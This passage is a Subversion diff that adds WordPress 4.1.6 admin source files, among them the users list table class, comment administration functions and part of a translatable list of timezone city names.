+							/* translators: 1: Error code, 2: Error message. */
+							$body[] = '  ' . sprintf( __( 'Error: [%1$s] %2$s' ), $result->get_error_code(), $result->get_error_message() );
+						}
+
+						if ( $result->get_error_data() )
+							$body[] = '         ' . implode( ', ', (array) $result->get_error_data() );
+					}
+				}
+				$body[] = '';
+			}
+		}
+
+		$email = array(
+			'to'      => get_site_option( 'admin_email' ),
+			'subject' => $subject,
+			'body'    => implode( "\n", $body ),
+			'headers' => ''
+		);
+
+		/**
+		 * Filter the debug email that can be sent following an automatic
+		 * background core update.
+		 *
+		 * @since 3.8.0
+		 *
+		 * @param array $email {
+		 *     Array of email arguments that will be passed to wp_mail().
+		 *
+		 *     @type string $to      The email recipient. An array of emails
+		 *                           can be returned, as handled by wp_mail().
+		 *     @type string $subject Email subject.
+		 *     @type string $body    Email message body.
+		 *     @type string $headers Any email headers. Default empty.
+		 * }
+		 * @param int   $failures The number of failures encountered while upgrading.
+		 * @param mixed $results  The results of all attempted updates.
+		 */
+		$email = apply_filters( 'automatic_updates_debug_email', $email, $failures, $this->update_results );
+
+		wp_mail( $email['to'], wp_specialchars_decode( $email['subject'] ), $email['body'], $email['headers'] );
+	}
+}
Index: /tags/4.1.6/src/wp-admin/includes/class-wp-users-list-table.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-wp-users-list-table.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-wp-users-list-table.php	(revision 33402)
@@ -0,0 +1,459 @@
+<?php
+/**
+ * Users List Table class.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @package WordPress
+ * @subpackage List_Table
+ */
+class WP_Users_List_Table extends WP_List_Table {
+
+	/**
+	 * Site ID to generate the Users list table for.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 * @var int
+	 */
+	public $site_id;
+
+	/**
+	 * Whether or not the current Users list table is for Multisite.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_site_users;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 *
+	 * @see WP_List_Table::__construct() for more information on default arguments.
+	 *
+	 * @param array $args An associative array of arguments.
+	 */
+	public function __construct( $args = array() ) {
+		parent::__construct( array(
+			'singular' => 'user',
+			'plural'   => 'users',
+			'screen'   => isset( $args['screen'] ) ? $args['screen'] : null,
+		) );
+
+		$this->is_site_users = 'site-users-network' == $this->screen->id;
+
+		if ( $this->is_site_users )
+			$this->site_id = isset( $_REQUEST['id'] ) ? intval( $_REQUEST['id'] ) : 0;
+	}
+
+	/**
+	 * Check the current user's permissions.
+	 *
+ 	 * @since 3.1.0
+	 * @access public
+	 */
+	public function ajax_user_can() {
+		if ( $this->is_site_users )
+			return current_user_can( 'manage_sites' );
+		else
+			return current_user_can( 'list_users' );
+	}
+
+	/**
+	 * Prepare the users list for display.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 */
+	public function prepare_items() {
+		global $role, $usersearch;
+
+		$usersearch = isset( $_REQUEST['s'] ) ? wp_unslash( trim( $_REQUEST['s'] ) ) : '';
+
+		$role = isset( $_REQUEST['role'] ) ? $_REQUEST['role'] : '';
+
+		$per_page = ( $this->is_site_users ) ? 'site_users_network_per_page' : 'users_per_page';
+		$users_per_page = $this->get_items_per_page( $per_page );
+
+		$paged = $this->get_pagenum();
+
+		$args = array(
+			'number' => $users_per_page,
+			'offset' => ( $paged-1 ) * $users_per_page,
+			'role' => $role,
+			'search' => $usersearch,
+			'fields' => 'all_with_meta'
+		);
+
+		if ( '' !== $args['search'] )
+			$args['search'] = '*' . $args['search'] . '*';
+
+		if ( $this->is_site_users )
+			$args['blog_id'] = $this->site_id;
+
+		if ( isset( $_REQUEST['orderby'] ) )
+			$args['orderby'] = $_REQUEST['orderby'];
+
+		if ( isset( $_REQUEST['order'] ) )
+			$args['order'] = $_REQUEST['order'];
+
+		// Query the user IDs for this page
+		$wp_user_search = new WP_User_Query( $args );
+
+		$this->items = $wp_user_search->get_results();
+
+		$this->set_pagination_args( array(
+			'total_items' => $wp_user_search->get_total(),
+			'per_page' => $users_per_page,
+		) );
+	}
+
+	/**
+	 * Output 'no users' message.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 */
+	public function no_items() {
+		_e( 'No matching users were found.' );
+	}
+
+	/**
+	 * Return an associative array listing all the views that can be used
+	 * with this table.
+	 *
+	 * Provides a list of roles and user count for that role for easy
+	 * filtering of the user table.
+	 *
+	 * @since  3.1.0
+	 * @access protected
+	 *
+	 * @return array An array of HTML links, one for each view.
+	 */
+	protected function get_views() {
+		global $wp_roles, $role;
+
+		if ( $this->is_site_users ) {
+			$url = 'site-users.php?id=' . $this->site_id;
+			switch_to_blog( $this->site_id );
+			$users_of_blog = count_users();
+			restore_current_blog();
+		} else {
+			$url = 'users.php';
+			$users_of_blog = count_users();
+		}
+		$total_users = $users_of_blog['total_users'];
+		$avail_roles =& $users_of_blog['avail_roles'];
+		unset($users_of_blog);
+
+		$class = empty($role) ? ' class="current"' : '';
+		$role_links = array();
+		$role_links['all'] = "<a href='$url'$class>" . sprintf( _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $total_users, 'users' ), number_format_i18n( $total_users ) ) . '</a>';
+		foreach ( $wp_roles->get_names() as $this_role => $name ) {
+			if ( !isset($avail_roles[$this_role]) )
+				continue;
+
+			$class = '';
+
+			if ( $this_role == $role ) {
+				$class = ' class="current"';
+			}
+
+			$name = translate_user_role( $name );
+			/* translators: User role name with count */
+			$name = sprintf( __('%1$s <span class="count">(%2$s)</span>'), $name, number_format_i18n( $avail_roles[$this_role] ) );
+			$role_links[$this_role] = "<a href='" . esc_url( add_query_arg( 'role', $this_role, $url ) ) . "'$class>$name</a>";
+		}
+
+		return $role_links;
+	}
+
+	/**
+	 * Retrieve an associative array of bulk actions available on this table.
+	 *
+	 * @since  3.1.0
+	 * @access protected
+	 *
+	 * @return array Array of bulk actions.
+	 */
+	protected function get_bulk_actions() {
+		$actions = array();
+
+		if ( is_multisite() ) {
+			if ( current_user_can( 'remove_users' ) )
+				$actions['remove'] = __( 'Remove' );
+		} else {
+			if ( current_user_can( 'delete_users' ) )
+				$actions['delete'] = __( 'Delete' );
+		}
+
+		return $actions;
+	}
+
+	/**
+	 * Output the controls to allow user roles to be changed in bulk.
+	 *
+	 * @since 3.1.0
+	 * @access protected
+	 *
+	 * @param string $which Whether this is being invoked above ("top")
+	 *                      or below the table ("bottom").
+	 */
+	protected function extra_tablenav( $which ) {
+		if ( 'top' != $which )
+			return;
+	?>
+	<div class="alignleft actions">
+		<?php if ( current_user_can( 'promote_users' ) ) : ?>
+		<label class="screen-reader-text" for="new_role"><?php _e( 'Change role to&hellip;' ) ?></label>
+		<select name="new_role" id="new_role">
+			<option value=""><?php _e( 'Change role to&hellip;' ) ?></option>
+			<?php wp_dropdown_roles(); ?>
+		</select>
+	<?php
+			submit_button( __( 'Change' ), 'button', 'changeit', false );
+		endif;
+
+		/**
+		 * Fires just before the closing div containing the bulk role-change controls
+		 * in the Users list table.
+		 *
+		 * @since 3.5.0
+		 */
+		do_action( 'restrict_manage_users' );
+		echo '</div>';
+	}
+
+	/**
+	 * Capture the bulk action required, and return it.
+	 *
+	 * Overridden from the base class implementation to capture
+	 * the role change drop-down.
+	 *
+	 * @since  3.1.0
+	 * @access public
+	 *
+	 * @return string The bulk action required.
+	 */
+	public function current_action() {
+		if ( isset($_REQUEST['changeit']) && !empty($_REQUEST['new_role']) )
+			return 'promote';
+
+		return parent::current_action();
+	}
+
+	/**
+	 * Get a list of columns for the list table.
+	 *
+	 * @since  3.1.0
+	 * @access public
+	 *
+	 * @return array Array in which the key is the ID of the column,
+	 *               and the value is the description.
+	 */
+	public function get_columns() {
+		$c = array(
+			'cb'       => '<input type="checkbox" />',
+			'username' => __( 'Username' ),
+			'name'     => __( 'Name' ),
+			'email'    => __( 'E-mail' ),
+			'role'     => __( 'Role' ),
+			'posts'    => __( 'Posts' )
+		);
+
+		if ( $this->is_site_users )
+			unset( $c['posts'] );
+
+		return $c;
+	}
+
+	/**
+	 * Get a list of sortable columns for the list table.
+	 *
+	 * @since 3.1.0
+	 * @access protected
+	 *
+	 * @return array Array of sortable columns.
+	 */
+	protected function get_sortable_columns() {
+		$c = array(
+			'username' => 'login',
+			'name'     => 'name',
+			'email'    => 'email',
+		);
+
+		if ( $this->is_site_users )
+			unset( $c['posts'] );
+
+		return $c;
+	}
+
+	/**
+	 * Generate the list table rows.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 */
+	public function display_rows() {
+		// Query the post counts for this page
+		if ( ! $this->is_site_users )
+			$post_counts = count_many_users_posts( array_keys( $this->items ) );
+
+		$editable_roles = array_keys( get_editable_roles() );
+
+		$style = '';
+		foreach ( $this->items as $userid => $user_object ) {
+			if ( count( $user_object->roles ) <= 1 ) {
+				$role = reset( $user_object->roles );
+			} elseif ( $roles = array_intersect( array_values( $user_object->roles ), $editable_roles ) ) {
+				$role = reset( $roles );
+			} else {
+				$role = reset( $user_object->roles );
+			}
+
+			if ( is_multisite() && empty( $user_object->allcaps ) )
+				continue;
+
+			$style = ( ' class="alternate"' == $style ) ? '' : ' class="alternate"';
+			echo "\n\t" . $this->single_row( $user_object, $style, $role, isset( $post_counts ) ? $post_counts[ $userid ] : 0 );
+		}
+	}
+
+	/**
+	 * Generate HTML for a single row on the users.php admin panel.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 *
+	 * @param object $user_object The current user object.
+	 * @param string $style       Optional. Style attributes added to the `<tr>` element.
+	 *                            Must be sanitized. Default empty.
+	 * @param string $role        Optional. Key for the $wp_roles array. Default empty.
+	 * @param int    $numposts    Optional. Post count to display for this user. Defaults
+	 *                            to zero, as in, a new user has made zero posts.
+	 * @return string Output for a single row.
+	 */
+	public function single_row( $user_object, $style = '', $role = '', $numposts = 0 ) {
+		global $wp_roles;
+
+		if ( !( is_object( $user_object ) && is_a( $user_object, 'WP_User' ) ) )
+			$user_object = get_userdata( (int) $user_object );
+		$user_object->filter = 'display';
+		$email = $user_object->user_email;
+
+		if ( $this->is_site_users )
+			$url = "site-users.php?id={$this->site_id}&amp;";
+		else
+			$url = 'users.php?';
+
+		$checkbox = '';
+		// Check if the user for this row is editable
+		if ( current_user_can( 'list_users' ) ) {
+			// Set up the user editing link
+			$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user_object->ID ) ) );
+
+			// Set up the hover actions for this user
+			$actions = array();
+
+			if ( current_user_can( 'edit_user',  $user_object->ID ) ) {
+				$edit = "<strong><a href=\"$edit_link\">$user_object->user_login</a></strong><br />";
+				$actions['edit'] = '<a href="' . $edit_link . '">' . __( 'Edit' ) . '</a>';
+			} else {
+				$edit = "<strong>$user_object->user_login</strong><br />";
+			}
+
+			if ( !is_multisite() && get_current_user_id() != $user_object->ID && current_user_can( 'delete_user', $user_object->ID ) )
+				$actions['delete'] = "<a class='submitdelete' href='" . wp_nonce_url( "users.php?action=delete&amp;user=$user_object->ID", 'bulk-users' ) . "'>" . __( 'Delete' ) . "</a>";
+			if ( is_multisite() && get_current_user_id() != $user_object->ID && current_user_can( 'remove_user', $user_object->ID ) )
+				$actions['remove'] = "<a class='submitdelete' href='" . wp_nonce_url( $url."action=remove&amp;user=$user_object->ID", 'bulk-users' ) . "'>" . __( 'Remove' ) . "</a>";
+
+			/**
+			 * Filter the action links displayed under each user in the Users list table.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param array   $actions     An array of action links to be displayed.
+			 *                             Default 'Edit', 'Delete' for single site, and
+			 *                             'Edit', 'Remove' for Multisite.
+			 * @param WP_User $user_object WP_User object for the currently-listed user.
+			 */
+			$actions = apply_filters( 'user_row_actions', $actions, $user_object );
+			$edit .= $this->row_actions( $actions );
+
+			// Set up the checkbox ( because the user is editable, otherwise it's empty )
+			$checkbox = '<label class="screen-reader-text" for="cb-select-' . $user_object->ID . '">' . sprintf( __( 'Select %s' ), $user_object->user_login ) . '</label>'
+						. "<input type='checkbox' name='users[]' id='user_{$user_object->ID}' class='$role' value='{$user_object->ID}' />";
+
+		} else {
+			$edit = '<strong>' . $user_object->user_login . '</strong>';
+		}
+		$role_name = isset( $wp_roles->role_names[$role] ) ? translate_user_role( $wp_roles->role_names[$role] ) : __( 'None' );
+		$avatar = get_avatar( $user_object->ID, 32 );
+
+		$r = "<tr id='user-$user_object->ID'$style>";
+
+		list( $columns, $hidden ) = $this->get_column_info();
+
+		foreach ( $columns as $column_name => $column_display_name ) {
+			$class = "class=\"$column_name column-$column_name\"";
+
+			$style = '';
+			if ( in_array( $column_name, $hidden ) )
+				$style = ' style="display:none;"';
+
+			$attributes = "$class$style";
+
+			switch ( $column_name ) {
+				case 'cb':
+					$r .= "<th scope='row' class='check-column'>$checkbox</th>";
+					break;
+				case 'username':
+					$r .= "<td $attributes>$avatar $edit</td>";
+					break;
+				case 'name':
+					$r .= "<td $attributes>$user_object->first_name $user_object->last_name</td>";
+					break;
+				case 'email':
+					$r .= "<td $attributes><a href='mailto:$email' title='" . esc_attr( sprintf( __( 'E-mail: %s' ), $email ) ) . "'>$email</a></td>";
+					break;
+				case 'role':
+					$r .= "<td $attributes>$role_name</td>";
+					break;
+				case 'posts':
+					$attributes = 'class="posts column-posts num"' . $style;
+					$r .= "<td $attributes>";
+					if ( $numposts > 0 ) {
+						$r .= "<a href='edit.php?author=$user_object->ID' title='" . esc_attr__( 'View posts by this author' ) . "' class='edit'>";
+						$r .= $numposts;
+						$r .= '</a>';
+					} else {
+						$r .= 0;
+					}
+					$r .= "</td>";
+					break;
+				default:
+					$r .= "<td $attributes>";
+
+					/**
+					 * Filter the display output of custom columns in the Users list table.
+					 *
+					 * @since 2.8.0
+					 *
+					 * @param string $output      Custom column output. Default empty.
+					 * @param string $column_name Column name.
+					 * @param int    $user_id     ID of the currently-listed user.
+					 */
+					$r .= apply_filters( 'manage_users_custom_column', '', $column_name, $user_object->ID );
+					$r .= "</td>";
+			}
+		}
+		$r .= '</tr>';
+
+		return $r;
+	}
+}
Index: /tags/4.1.6/src/wp-admin/includes/comment.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/comment.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/comment.php	(revision 33402)
@@ -0,0 +1,173 @@
+<?php
+/**
+ * WordPress Comment Administration API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Determine if a comment exists based on author and date.
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $comment_author Author of the comment
+ * @param string $comment_date Date of the comment
+ * @return mixed Comment post ID on success.
+ */
+function comment_exists($comment_author, $comment_date) {
+	global $wpdb;
+
+	$comment_author = stripslashes($comment_author);
+	$comment_date = stripslashes($comment_date);
+
+	return $wpdb->get_var( $wpdb->prepare("SELECT comment_post_ID FROM $wpdb->comments
+			WHERE comment_author = %s AND comment_date = %s", $comment_author, $comment_date) );
+}
+
+/**
+ * Update a comment with values provided in $_POST.
+ *
+ * @since 2.0.0
+ */
+function edit_comment() {
+
+	if ( ! current_user_can( 'edit_comment', (int) $_POST['comment_ID'] ) )
+		wp_die ( __( 'You are not allowed to edit comments on this post.' ) );
+
+	if ( isset( $_POST['newcomment_author'] ) )
+		$_POST['comment_author'] = $_POST['newcomment_author'];
+	if ( isset( $_POST['newcomment_author_email'] ) )
+		$_POST['comment_author_email'] = $_POST['newcomment_author_email'];
+	if ( isset( $_POST['newcomment_author_url'] ) )
+		$_POST['comment_author_url'] = $_POST['newcomment_author_url'];
+	if ( isset( $_POST['comment_status'] ) )
+		$_POST['comment_approved'] = $_POST['comment_status'];
+	if ( isset( $_POST['content'] ) )
+		$_POST['comment_content'] = $_POST['content'];
+	if ( isset( $_POST['comment_ID'] ) )
+		$_POST['comment_ID'] = (int) $_POST['comment_ID'];
+
+	foreach ( array ('aa', 'mm', 'jj', 'hh', 'mn') as $timeunit ) {
+		if ( !empty( $_POST['hidden_' . $timeunit] ) && $_POST['hidden_' . $timeunit] != $_POST[$timeunit] ) {
+			$_POST['edit_date'] = '1';
+			break;
+		}
+	}
+
+	if ( !empty ( $_POST['edit_date'] ) ) {
+		$aa = $_POST['aa'];
+		$mm = $_POST['mm'];
+		$jj = $_POST['jj'];
+		$hh = $_POST['hh'];
+		$mn = $_POST['mn'];
+		$ss = $_POST['ss'];
+		$jj = ($jj > 31 ) ? 31 : $jj;
+		$hh = ($hh > 23 ) ? $hh -24 : $hh;
+		$mn = ($mn > 59 ) ? $mn -60 : $mn;
+		$ss = ($ss > 59 ) ? $ss -60 : $ss;
+		$_POST['comment_date'] = "$aa-$mm-$jj $hh:$mn:$ss";
+	}
+
+	wp_update_comment( $_POST );
+}
+
+/**
+ * Returns a comment object based on comment ID.
+ *
+ * @since 2.0.0
+ *
+ * @param int $id ID of comment to retrieve.
+ * @return bool|object Comment if found. False on failure.
+ */
+function get_comment_to_edit( $id ) {
+	if ( !$comment = get_comment($id) )
+		return false;
+
+	$comment->comment_ID = (int) $comment->comment_ID;
+	$comment->comment_post_ID = (int) $comment->comment_post_ID;
+
+	$comment->comment_content = format_to_edit( $comment->comment_content );
+	/**
+	 * Filter the comment content before editing.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $comment->comment_content Comment content.
+	 */
+	$comment->comment_content = apply_filters( 'comment_edit_pre', $comment->comment_content );
+
+	$comment->comment_author = format_to_edit( $comment->comment_author );
+	$comment->comment_author_email = format_to_edit( $comment->comment_author_email );
+	$comment->comment_author_url = format_to_edit( $comment->comment_author_url );
+	$comment->comment_author_url = esc_url($comment->comment_author_url);
+
+	return $comment;
+}
+
+/**
+ * Get the number of pending comments on a post or posts
+ *
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int|array $post_id Either a single Post ID or an array of Post IDs
+ * @return int|array Either a single Posts pending comments as an int or an array of ints keyed on the Post IDs
+ */
+function get_pending_comments_num( $post_id ) {
+	global $wpdb;
+
+	$single = false;
+	if ( !is_array($post_id) ) {
+		$post_id_array = (array) $post_id;
+		$single = true;
+	} else {
+		$post_id_array = $post_id;
+	}
+	$post_id_array = array_map('intval', $post_id_array);
+	$post_id_in = "'" . implode("', '", $post_id_array) . "'";
+
+	$pending = $wpdb->get_results( "SELECT comment_post_ID, COUNT(comment_ID) as num_comments FROM $wpdb->comments WHERE comment_post_ID IN ( $post_id_in ) AND comment_approved = '0' GROUP BY comment_post_ID", ARRAY_A );
+
+	if ( $single ) {
+		if ( empty($pending) )
+			return 0;
+		else
+			return absint($pending[0]['num_comments']);
+	}
+
+	$pending_keyed = array();
+
+	// Default to zero pending for all posts in request
+	foreach ( $post_id_array as $id )
+		$pending_keyed[$id] = 0;
+
+	if ( !empty($pending) )
+		foreach ( $pending as $pend )
+			$pending_keyed[$pend['comment_post_ID']] = absint($pend['num_comments']);
+
+	return $pending_keyed;
+}
+
+/**
+ * Add avatars to relevant places in admin, or try to.
+ *
+ * @since 2.5.0
+ * @uses $comment
+ *
+ * @param string $name User name.
+ * @return string Avatar with Admin name.
+ */
+function floated_admin_avatar( $name ) {
+	global $comment;
+	$avatar = get_avatar( $comment, 32, 'mystery' );
+	return "$avatar $name";
+}
+
+function enqueue_comment_hotkeys_js() {
+	if ( 'true' == get_user_option( 'comment_shortcuts' ) )
+		wp_enqueue_script( 'jquery-table-hotkeys' );
+}
Index: /tags/4.1.6/src/wp-admin/includes/continents-cities.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/continents-cities.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/continents-cities.php	(revision 33402)
@@ -0,0 +1,493 @@
+<?php
+
+/* Continent and city translations for timezone selection.
+ * This file is not included anywhere. It exists solely for use by xgettext.
+ */
+
+__('Africa', 'continents-cities');
+__('Abidjan', 'continents-cities');
+__('Accra', 'continents-cities');
+__('Addis Ababa', 'continents-cities');
+__('Algiers', 'continents-cities');
+__('Asmara', 'continents-cities');
+__('Asmera', 'continents-cities');
+__('Bamako', 'continents-cities');
+__('Bangui', 'continents-cities');
+__('Banjul', 'continents-cities');
+__('Bissau', 'continents-cities');
+__('Blantyre', 'continents-cities');
+__('Brazzaville', 'continents-cities');
+__('Bujumbura', 'continents-cities');
+__('Cairo', 'continents-cities');
+__('Casablanca', 'continents-cities');
+__('Ceuta', 'continents-cities');
+__('Conakry', 'continents-cities');
+__('Dakar', 'continents-cities');
+__('Dar es Salaam', 'continents-cities');
+__('Djibouti', 'continents-cities');
+__('Douala', 'continents-cities');
+__('El Aaiun', 'continents-cities');
+__('Freetown', 'continents-cities');
+__('Gaborone', 'continents-cities');
+__('Harare', 'continents-cities');
+__('Johannesburg', 'continents-cities');
+__('Kampala', 'continents-cities');
+__('Khartoum', 'continents-cities');
+__('Kigali', 'continents-cities');
+__('Kinshasa', 'continents-cities');
+__('Lagos', 'continents-cities');
+__('Libreville', 'continents-cities');
+__('Lome', 'continents-cities');
+__('Luanda', 'continents-cities');
+__('Lubumbashi', 'continents-cities');
+__('Lusaka', 'continents-cities');
+__('Malabo', 'continents-cities');
+__('Maputo', 'continents-cities');
+__('Maseru', 'continents-cities');
+__('Mbabane', 'continents-cities');
+__('Mogadishu', 'continents-cities');
+__('Monrovia', 'continents-cities');
+__('Nairobi', 'continents-cities');
+__('Ndjamena', 'continents-cities');
+__('Niamey', 'continents-cities');
+__('Nouakchott', 'continents-cities');
+__('Ouagadougou', 'continents-cities');
+__('Porto-Novo', 'continents-cities');
+__('Sao Tome', 'continents-cities');
+__('Timbuktu', 'continents-cities');
+__('Tripoli', 'continents-cities');
+__('Tunis', 'continents-cities');
+__('Windhoek', 'continents-cities');
+__('America', 'continents-cities');
+__('Adak', 'continents-cities');
+__('Anchorage', 'continents-cities');
+__('Anguilla', 'continents-cities');
+__('Antigua', 'continents-cities');
+__('Araguaina', 'continents-cities');
+__('Argentina', 'continents-cities');
+__('Buenos Aires', 'continents-cities');
+__('Catamarca', 'continents-cities');
+__('ComodRivadavia', 'continents-cities');
+__('Cordoba', 'continents-cities');
+__('Jujuy', 'continents-cities');
+__('La Rioja', 'continents-cities');
+__('Mendoza', 'continents-cities');
+__('Rio Gallegos', 'continents-cities');
+__('San Juan', 'continents-cities');
+__('San Luis', 'continents-cities');
+__('Tucuman', 'continents-cities');
+__('Ushuaia', 'continents-cities');
+__('Aruba', 'continents-cities');
+__('Asuncion', 'continents-cities');
+__('Atikokan', 'continents-cities');
+__('Atka', 'continents-cities');
+__('Bahia', 'continents-cities');
+__('Barbados', 'continents-cities');
+__('Belem', 'continents-cities');
+__('Belize', 'continents-cities');
+__('Blanc-Sablon', 'continents-cities');
+__('Boa Vista', 'continents-cities');
+__('Bogota', 'continents-cities');
+__('Boise', 'continents-cities');
+__('Cambridge Bay', 'continents-cities');
+__('Campo Grande', 'continents-cities');
+__('Cancun', 'continents-cities');
+__('Caracas', 'continents-cities');
+__('Cayenne', 'continents-cities');
+__('Cayman', 'continents-cities');
+__('Chicago', 'continents-cities');
+__('Chihuahua', 'continents-cities');
+__('Coral Harbour', 'continents-cities');
+__('Costa Rica', 'continents-cities');
+__('Cuiaba', 'continents-cities');
+__('Curacao', 'continents-cities');
+__('Danmarkshavn', 'continents-cities');
+__('Dawson', 'continents-cities');
+__('Dawson Creek', 'continents-cities');
+__('Denver', 'continents-cities');
+__('Detroit', 'continents-cities');
+__('Dominica', 'continents-cities');
+__('Edmonton', 'continents-cities');
+__('Eirunepe', 'continents-cities');
+__('El Salvador', 'continents-cities');
+__('Ensenada', 'continents-cities');
+__('Fort Wayne', 'continents-cities');
+__('Fortaleza', 'continents-cities');
+__('Glace Bay', 'continents-cities');
+__('Godthab', 'continents-cities');
+__('Goose Bay', 'continents-cities');
+__('Grand Turk', 'continents-cities');
+__('Grenada', 'continents-cities');
+__('Guadeloupe', 'continents-cities');
+__('Guatemala', 'continents-cities');
+__('Guayaquil', 'continents-cities');
+__('Guyana', 'continents-cities');
+__('Halifax', 'continents-cities');
+__('Havana', 'continents-cities');
+__('Hermosillo', 'continents-cities');
+__('Indiana', 'continents-cities');
+__('Indianapolis', 'continents-cities');
+__('Knox', 'continents-cities');
+__('Marengo', 'continents-cities');
+__('Petersburg', 'continents-cities');
+__('Tell City', 'continents-cities');
+__('Vevay', 'continents-cities');
+__('Vincennes', 'continents-cities');
+__('Winamac', 'continents-cities');
+__('Inuvik', 'continents-cities');
+__('Iqaluit', 'continents-cities');
+__('Jamaica', 'continents-cities');
+__('Juneau', 'continents-cities');
+__('Kentucky', 'continents-cities');
+__('Louisville', 'continents-cities');
+__('Monticello', 'continents-cities');
+__('Knox IN', 'continents-cities');
+__('La Paz', 'continents-cities');
+__('Lima', 'continents-cities');
+__('Los Angeles', 'continents-cities');
+__('Maceio', 'continents-cities');
+__('Managua', 'continents-cities');
+__('Manaus', 'continents-cities');
+__('Marigot', 'continents-cities');
+__('Martinique', 'continents-cities');
+__('Mazatlan', 'continents-cities');
+__('Menominee', 'continents-cities');
+__('Merida', 'continents-cities');
+__('Mexico City', 'continents-cities');
+__('Miquelon', 'continents-cities');
+__('Moncton', 'continents-cities');
+__('Monterrey', 'continents-cities');
+__('Montevideo', 'continents-cities');
+__('Montreal', 'continents-cities');
+__('Montserrat', 'continents-cities');
+__('Nassau', 'continents-cities');
+__('New York', 'continents-cities');
+__('Nipigon', 'continents-cities');
+__('Nome', 'continents-cities');
+__('Noronha', 'continents-cities');
+__('North Dakota', 'continents-cities');
+__('Center', 'continents-cities');
+__('New Salem', 'continents-cities');
+__('Panama', 'continents-cities');
+__('Pangnirtung', 'continents-cities');
+__('Paramaribo', 'continents-cities');
+__('Phoenix', 'continents-cities');
+__('Port-au-Prince', 'continents-cities');
+__('Port of Spain', 'continents-cities');
+__('Porto Acre', 'continents-cities');
+__('Porto Velho', 'continents-cities');
+__('Puerto Rico', 'continents-cities');
+__('Rainy River', 'continents-cities');
+__('Rankin Inlet', 'continents-cities');
+__('Recife', 'continents-cities');
+__('Regina', 'continents-cities');
+__('Resolute', 'continents-cities');
+__('Rio Branco', 'continents-cities');
+__('Rosario', 'continents-cities');
+__('Santiago', 'continents-cities');
+__('Santo Domingo', 'continents-cities');
+__('Sao Paulo', 'continents-cities');
+__('Scoresbysund', 'continents-cities');
+__('Shiprock', 'continents-cities');
+__('St Barthelemy', 'continents-cities');
+__('St Johns', 'continents-cities');
+__('St Kitts', 'continents-cities');
+__('St Lucia', 'continents-cities');
+__('St Thomas', 'continents-cities');
+__('St Vincent', 'continents-cities');
+__('Swift Current', 'continents-cities');
+__('Tegucigalpa', 'continents-cities');
+__('Thule', 'continents-cities');
+__('Thunder Bay', 'continents-cities');
+__('Tijuana', 'continents-cities');
+__('Toronto', 'continents-cities');
+__('Tortola', 'continents-cities');
+__('Vancouver', 'continents-cities');
+__('Virgin', 'continents-cities');
+__('Whitehorse', 'continents-cities');
+__('Winnipeg', 'continents-cities');
+__('Yakutat', 'continents-cities');
+__('Yellowknife', 'continents-cities');
+__('Antarctica', 'continents-cities');
+__('Casey', 'continents-cities');
+__('Davis', 'continents-cities');
+__('DumontDUrville', 'continents-cities');
+__('Mawson', 'continents-cities');
+__('McMurdo', 'continents-cities');
+__('Palmer', 'continents-cities');
+__('Rothera', 'continents-cities');
+__('South Pole', 'continents-cities');
+__('Syowa', 'continents-cities');
+__('Vostok', 'continents-cities');
+__('Arctic', 'continents-cities');
+__('Longyearbyen', 'continents-cities');
+__('Asia', 'continents-cities');
+__('Aden', 'continents-cities');
+__('Almaty', 'continents-cities');
+__('Amman', 'continents-cities');
+__('Anadyr', 'continents-cities');
+__('Aqtau', 'continents-cities');
+__('Aqtobe', 'continents-cities');
+__('Ashgabat', 'continents-cities');
+__('Ashkhabad', 'continents-cities');
+__('Baghdad', 'continents-cities');
+__('Bahrain', 'continents-cities');
+__('Baku', 'continents-cities');
+__('Bangkok', 'continents-cities');
+__('Beirut', 'continents-cities');
+__('Bishkek', 'continents-cities');
+__('Brunei', 'continents-cities');
+__('Calcutta', 'continents-cities');
+__('Choibalsan', 'continents-cities');
+__('Chongqing', 'continents-cities');
+__('Chungking', 'continents-cities');
+__('Colombo', 'continents-cities');
+__('Dacca', 'continents-cities');
+__('Damascus', 'continents-cities');
+__('Dhaka', 'continents-cities');
+__('Dili', 'continents-cities');
+__('Dubai', 'continents-cities');
+__('Dushanbe', 'continents-cities');
+__('Gaza', 'continents-cities');
+__('Harbin', 'continents-cities');
+__('Ho Chi Minh', 'continents-cities');
+__('Hong Kong', 'continents-cities');
+__('Hovd', 'continents-cities');
+__('Irkutsk', 'continents-cities');
+__('Istanbul', 'continents-cities');
+__('Jakarta', 'continents-cities');
+__('Jayapura', 'continents-cities');
+__('Jerusalem', 'continents-cities');
+__('Kabul', 'continents-cities');
+__('Kamchatka', 'continents-cities');
+__('Karachi', 'continents-cities');
+__('Kashgar', 'continents-cities');
+__('Katmandu', 'continents-cities');
+__('Kolkata', 'continents-cities');
+__('Krasnoyarsk', 'continents-cities');
+__('Kuala Lumpur', 'continents-cities');
+__('Kuching', 'continents-cities');
+__('Kuwait', 'continents-cities');
+__('Macao', 'continents-cities');
+__('Macau', 'continents-cities');
+__('Magadan', 'continents-cities');
+__('Makassar', 'continents-cities');
+__('Manila', 'continents-cities');
+__('Muscat', 'continents-cities');
+__('Nicosia', 'continents-cities');
+__('Novosibirsk', 'continents-cities');
+__('Omsk', 'continents-cities');
+__('Oral', 'continents-cities');
+__('Phnom Penh', 'continents-cities');
+__('Pontianak', 'continents-cities');
+__('Pyongyang', 'continents-cities');
